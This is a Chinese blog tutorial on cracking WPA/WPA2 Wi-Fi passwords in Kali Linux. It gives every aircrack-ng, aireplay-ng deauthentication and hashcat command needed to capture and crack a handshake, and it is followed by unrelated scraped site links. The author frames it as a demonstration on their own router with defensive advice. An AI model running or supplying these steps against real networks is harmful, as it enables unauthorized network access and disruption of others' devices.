Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)

2023-05-16

Kali Linux能做很多事,但是它主要以渗透测试及’破解wifi密码’闻名。

要求:

  • 安装有Kali Linux的计算机
  • 支持监控模式的网卡,笔记本电脑一般都支持
  • 字典文件
  • 时间和耐心

这种攻击需要字典文件,一个好的字典至关重要。我以Kali Linux自带的rockyou字典为例,位于/user/share/wordlists/rockyou.txt.gz。

使用前先解压:

# gzip -d /usr/share/wordlists/rockyou.txt.gz

注意:破解其他人的wifi密码是“犯罪”,so,don’t;我使用自己的无线路由器演示。

知道了攻击方法,你自然就知道怎么防范了。


1)首先断开连接的wifi。

在终端中执行:

# airmon-ng

破解wifi密码

上面命令列出了支持监控模式的无线网卡。如果没有任何输出,表示无线网卡不支持监控模式。你可以看到我的wlan0支持监控模式。

2)开启无线网卡的监控模式

# airmon-ng start wlan0

破解wifi密码

执行成功之后网卡接口变为wlan0mon;可以使用ifconfig命令查看。

3)查看wifi网络

# airodump-ng wlan0mon

破解wifi密码

上面列出了周围的wifi和它们的详细信息,包括信号强度、加密类型、频道等。要记住要破解wifi的频道号和BSSID。

按Ctrl-C结束。

4)抓取握手包

使用网卡的监听模式抓取周围的无线网络数据包。其中,对我们最重要的数据包是:包含密码的包-也叫握手包。当有新用户或断开用户自动连接wifi时,会发送握手包。

开始抓包:

# airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8 -w ~/ wlan0mon

参数解释:

  • -c指定频道号
  • –bssid指定路由器bssid
  • -w指定抓取的数据包保存位置

破解wifi密码

5)强制连接到wifi的设备重新连接路由器

现在我们只要等用户连接/重连接wifi了,运气不好也许要很长时间。

但是我们是不会等的,这不是耐心黑客该干的事。有一个叫aireplay-ng的工具,它可以强制用户断开wifi连接;原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi。

aireplay-ng的生效前提是,wifi网络中至少有一个连接的设备。从上图(4)可以看到哪些设备连接到了wifi,STATION就是连接设备的MAC地址,记住一个。

  • aircrack-ng官网

打开新终端执行:

# aireplay-ng -0 2 -a C8:3A:35:30:3E:C8 -c B8:E8:56:09:CC:9C wlan0mon

参数解释:

  • -0表示发起deauthentication攻击
  • -a指定无线路由器BSSID
  • -c指定强制断开的设备

破解wifi密码

如果成功:

破解wifi密码

按Ctrl-C结束抓包。

我们已经得到了想要的握手包了,可以结束无线网卡的监控模式了:

# airmon-ng stop wlan0mon

破解wifi密码

6) 开始破解密码

# aircrack-ng -a2 -b C8:3A:35:30:3E:C8 -w /usr/share/wordlists/rockyou.txt ~/*.cap

参数解释:

  • -a2代表WPA的握手包
  • -b指定要破解的wifi BSSID。
  • -w指定字典文件
  • 最后是抓取的包

破解wifi密码

可选)使用显卡的运算能力

如果你有一个强大的GPU,为什么不使用GPU跑字典呢?

Hashcat可以借助GPU的运算力破解各种不同算法的hash值。

下载时要注意选择正确的显卡类型(AMD、NVidia)。Kali Linux自带这个工具。

在破解cap文件之前,要把它转换为hccap文件:

# aircrack-ng file.cap -J out.hccap

使用GPU破解hash:

# hashcat -m 2500 out.hccap 字典文件

总结:防止这种攻击最简单的方法是设置贼复杂贼长的密码;

 

转载于:https://www.cnblogs.com/Expioit/p/9143241.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Kali Linux使用Aircrack破解wifi密码(wpa/wpa2) 的相关文章

  • 获取 Wi-Fi 配置文件信息

    我使用的是 Windows 8 1 它没有工具 带有 GUI 来管理 wifi 网络配置文件 所以我正在写一篇对我有帮助的文章 我做了一些谷歌搜索并发现托管 Wifi API https managedwifi codeplex com 并
  • Ubuntu Python shebang 线不工作

    无法让 shebang 线在 Ubuntu 中为 python 脚本工作 我每次只收到命令未找到错误 test py usr bin env python print Ran which python usr bin python 在 sh
  • Python 3.4.3 subprocess.Popen 在没有管道的情况下获取命令的输出?

    我试图将命令的输出分配给变量 而不让命令认为它正在通过管道传输 原因是 如果正在通过管道传输 则相关命令会给出未格式化的文本作为输出 但如果从终端运行 则会给出颜色格式化的文本 我需要获取这种颜色格式的文本 到目前为止我已经尝试了一些事情
  • vmsplice() 和 TCP

    在原来的vmsplice 执行 有人建议 http lwn net Articles 181169 如果您的用户态缓冲区是管道中可容纳的最大页面数的 2 倍 则缓冲区后半部分成功的 vmsplice 将保证内核使用缓冲区的前半部分完成 但事
  • 批量删除文件名中包含 BASH 中特殊字符的子字符串

    我的目录中有一个文件列表 opencv calib3d so2410 so opencv contrib so2410 so opencv core so2410 so opencv features2d so2410 so opencv
  • Linux 中 m 标志和 o 标志将存储在哪里

    我想知道最近收到的路由器通告的 m 标志和 o 标志的值 从内核源代码中我知道存储了 m 标志和 o 标志 Remember the managed otherconf flags from most recently received R
  • 更改 Wi-Fi 配置文件的密码

    在我志愿服务的长期护理医院中 每个月的第一天 访客 Wi Fi 连接的密码都会更改 这给工作人员带来了大量的工作 也给患者带来了很多挫败感 其中许多人的行动能力非常有限 是的 真正的解决方案是让 IT 团队保留相同的密码 但这不会发生 大多
  • 为什么 Linux 没有 DirectX API?

    在考虑现代显卡的 Windows 系统上 DirectX API 的驱动程序端实现时 我想知道为什么此实现在非 Windows 系统 尤其是 Linux 上不可用 由于明显缺乏此功能 我只能假设有一个我无视的充分理由 但在我的原始理解中 我
  • 调用 printf 系统子例程在汇编代码中输出整数错误[重复]

    这个问题在这里已经有答案了 来回 在windows7控制台窗口中运行gcc s2 asm 然后生成一个exe文件 运行a exe 然后崩溃 为什么 s2 asm 代码由以下源代码生成 int m m 1 iprint m s2 asm请参考
  • 如何为 Linux 桌面条目文件指定带有相对路径的图标?

    对于我的一个 Linux 应用程序 我有应用程序二进制文件 一个 launcher sh 脚本 针对 LD LIBRARY PATH 和一个 desktop 文件 所有这些都位于同一文件夹中 我想使用图标的相对路径而不是绝对路径 我试过了
  • tcpdump 是否受 iptables 过滤影响?

    如果我的开发机器有iptables规则到FORWARD一些数据包 这些数据包是否被 tcpdump 捕获 我有这个问题 因为我知道存在其他链称为INPUT如果数据包路由到 它会过滤发往应用程序的数据包FORWARD链 它会到达吗tcpdum
  • linux-x64 二进制文件无法在 linuxmusl-x64 平台上使用错误

    我正在安装Sharp用于使用 package json 的 Nodejs 项目的 docker 映像上的映像压缩包 当我创建容器时 我收到有关 Sharp 包的以下错误 app node modules sharp lib libvips
  • 如何在 Ubuntu 中创建公共 HTML 文件夹?

    简单的问题 但由于某种原因我无法在谷歌上找到确切的答案 我在 Slicehost 上安装了全新的 Ubuntu 并且想在我的主目录中为包含一堆静态 HTML 文件的简单网站创建一个公共目录 我该怎么做呢 只是打字的问题吗mkdir publ
  • 如何阻止ubuntu在使用apt安装或更新软件包时弹出“Daemons using outdatedlibraries”? [关闭]

    Closed 这个问题是与编程或软件开发无关 help closed questions 目前不接受答案 我最近新安装了 Ubuntu 22 04 LTS 我发现每次使用 apt 安装或更新软件包时 它都会询问我有关Which servic
  • 尽管 if 语句,Visual Studio 仍尝试包含 Linux 标头

    我正在尝试创建一个强大的头文件 无需更改即可在 Windows 和 Linux 上进行编译 为此 我的包含内容中有一个 if 语句 如下所示 if defined WINDOWS include
  • 并行运行 shell 脚本

    我有一个 shell 脚本 打乱大型文本文件 600 万行和 6 列 根据第一列对文件进行排序 输出 1000 个文件 所以伪代码看起来像这样 file1 sh bin bash for i in seq 1 1000 do Generat
  • Intel 上的 gcc 中的 _mm_pause 用法

    我参考过这个网页 https software intel com en us articles benefitting power and performance sleep loops https software intel com
  • Mac OS X 上的 /proc/self/cmdline / GetCommandLine 等效项是什么?

    如何在不使用 argc argv 的情况下访问 Mac OS X 上的命令行 在 Linux 上 我会简单地阅读 proc self cmdline or use GetCommandLine在 Windows 上 但我找不到 Mac OS
  • 如何查找哪个 Yocto 项目配方填充图像根文件系统上的特定文件

    我经常与 Yocto 项目合作 一个常见的挑战是确定文件为何 或来自什么配方 包含在 rootfs 中 这有望从构建系统的环境 日志和元数据中得出 理想情况下 一组命令将允许将文件链接回源 即配方 我通常的策略是对元数据执行搜索 例如gre
  • Linux 为一组进程保留一个处理器(动态)

    有没有办法将处理器排除在正常调度之外 也就是说 使用sched setaffinity我可以指示线程应该在哪个处理器上运行 但我正在寻找相反的情况 也就是说 我想从正常调度中排除给定的处理器 以便只有已明确调度的进程才能在那里运行 我还知道

随机推荐

  • Win11老是提示资源管理器已停止工作怎么解决

    资源管理器是Windows 系统提供的资源管理工具 xff0c 我们可以用它查看本台电脑的所有资源 xff0c 还可以对文件进行各种操作 xff0c 如 xff1a 打开 复制 移动等 但是近期有部分用户在电脑的使用中老是出现系统提示Win
  • Win7系统explorer占用cpu过高怎么解决

    Win7explorer占用cpu过高怎么办 xff1f 如果出现这样的情况就需要注意了 xff0c 很有可能是电脑配置的问题 xff0c 又或者电脑感染病毒之类的 xff0c 如果你也遇到了同样的问题 xff0c 那么就来看看下面这篇Wi
  • 找不到msvcp140.dll无法继续执行代码,要怎么去解决?

    很多人咨询小编 xff0c 说他在使用电脑的过程中经常会遇到找不到msvcp140 dll无法继续执行代码 xff0c 他一脸懵逼不知道如何进行解决 xff0c 其实这个是我们电脑中的组件运行库丢失所导致的 要解决这个问题也不难 xff0c
  • 电脑蓝屏按哪三个键恢复?怎么修复蓝屏问题

    最近有人在咨询小编 xff0c 说电脑蓝屏按哪三个键恢复 xff1f 我一脸懵逼 xff0c 还有这操作么 xff1f 其实如果发你的电脑一开机就蓝屏 xff0c 一开机就蓝屏 xff0c 没办法进入系统的话 xff0c 那么你就需要用另外
  • msvcr120.dll丢失怎样修复?msvcr120.dll文件修复方法

    Dll文件的丢失相信很多人都遇到过吧 xff1f 其实只要丢失了dll文件 xff0c 那么你打开软件程序或者游戏的时候 xff0c 就会发现打不开 xff0c 提升你文件缺失 xff0c 特别是msvcr120 dll丢失这个经常发生 x
  • msvcp140.dll是什么?怎么修复msvcp140.dll缺失的问题

    小编最近遇到这样的一个dll丢失问题 xff0c 系统无端端弹出说我msvcp140 dll丢失了 xff0c 并且无法启动一些软件程序 xff0c 于是乎小编就针对于这问题查询了相关的解决方法 xff0c 今天就来给大家详细的说说 xff
  • opencl.dll丢失怎么办?为什么会丢失?

    电脑是我们生活当中不可缺少的一个重要工具 xff0c 很多时候我们会用电脑来解决很多问题 xff0c 但是有些朋友会发现 xff0c 电脑在使用的过程中 xff0c 经常会出现各种各样的错误 xff0c 特别是在打开一些文件的时候 xff0
  • 找不到msvcr110dll,无法继续执行代码,解决方法分享

    找不到msvcr110dll 无法继续执行代码 xff0c 电脑出现这种情况 xff0c 主要是缺失了msvcr110dll这个文件 要解决这个问题 xff0c 其实不难 xff0c 有多种方法 第一种解决msvcr110dll的方法 1在
  • Kali Linux ettercap的使用

    ettercap是执行ARP欺骗嗅探的工具 xff0c 通常用它来施行中间人攻击 我使用的是Kali Linux 2 0 xff1b 在开始使用ettercap之前 xff0c 先配置一下 xff1a 编辑配置文件 etc ettercap
  • Notion AI是什么?和chatgpt比哪个好?

    最近对于人工智能的热度可谓是前所未有的高涨 xff0c 毕竟现在的人工智能发展是越来越快 xff0c 能做的事情也是越来越多 xff0c 不再是那种低等的假智能小爱同学和siri那种 今天我们主要来聊聊Notion AI和chatgpt吧
  • 缺失msvcrtd.dll怎么办?如何修复msvcrtd.dll文件

    在日常使用电脑中 xff0c 其实出现一些dll文件缺失是非常的正常的 xff0c 这时候我们不需要慌张 xff0c 只需要知道一些解决方法 xff0c 那么就可以解决文件缺失问题 xff0c 今天来给大家详细的讲解一下缺失msvcrtd
  • 电脑丢失msvcp140.dll的解决方法分享

    如果你在使用电脑时遇到了 找不到msvcp140 dll 的错误提示 xff0c 别着急 xff01 这并不是什么严重的问题 xff0c 电脑丢失msvcp140 dll的解决方法分享 xff0c 只要你按照以下方法进行处理 xff0c 很
  • 人工智能机器人-智能时代的新纪元

    现代科学技术的飞速发展不仅让生产生活变得更加便捷 xff0c 同时也为人们带来了各种人工智能机器人 通过不断优化和升级 xff0c 现今人工智能机器人已经成为人们生活中不可或缺的一部分 本文将介绍多个人工智能机器人 xff0c 其中一项是C
  • binkw32dll缺失怎么办?如何解决binkw32dll修复问题

    binkw32dll缺失怎么办 xff1f 在使用某些计算机游戏或应用程序时 xff0c 您可能遇到过binkw32dll缺失的问题 这意味着您的计算机无法找到该DLL文件 xff0c 从而无法正常运行程序 在本文中 xff0c 我们将探讨
  • AI作画生成器,AI作画的优缺点

    AI作画生成器 xff0c AI作画生成是一种基于人工智能技术的艺术创作方式 xff0c 其在过去几年中得到了广泛应用和迅速发展 本文将以此为题 xff0c 从几个方面来探讨AI作画生成 一 什么是AI作画生成 AI作画生成 xff0c 顾
  • midjourney入口是什么?怎么使用midjourney

    最近有很多小伙伴在咨询我midjourney的事情 xff0c 因为他们看过midjourney的神奇能力 xff0c 忍不住想玩一下 xff0c 都在问midjourney要去哪里玩 xff1f midjourney入口是什么 xff1f
  • API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL丢失怎么解决?

    API MS WIN CRT RUNTIME L1 1 0 DLL是Windows系统中的一个非常重要的动态链接库文件 xff0c 该文件的全称为 Application Programming Interface Microsoft Wi
  • 缺失msvcp140.dll怎么办?msvcp140.dll下载

    缺失msvcp140 dll怎么办 xff1f msvcp140 dll下载 xff0c 作为Windows操作系统中必备的组件之一 xff0c msvcp140 dll是一款Microsoft Visual C 43 43 Runtime
  • 电脑丢失的dll文件怎么一键修复?修复dll方法分享

    电脑丢失的dll文件怎么一键修复 xff1f 电脑状况常常让人遇到各种问题 xff0c 其中 DLL文件丢失 是最常见的问题之一 在这篇文章中 xff0c 我们会介绍为何会出现DLL文件丢失的问题 xff0c 以及提供一种简单 快捷的DLL
  • Kali Linux使用Aircrack破解wifi密码(wpa/wpa2)

    Kali Linux能做很多事 xff0c 但是它主要以渗透测试及 破解wifi密码 闻名 要求 xff1a 安装有Kali Linux的计算机支持监控模式的网卡 xff0c 笔记本电脑一般都支持字典文件时间和耐心 这种攻击需要字典文件 x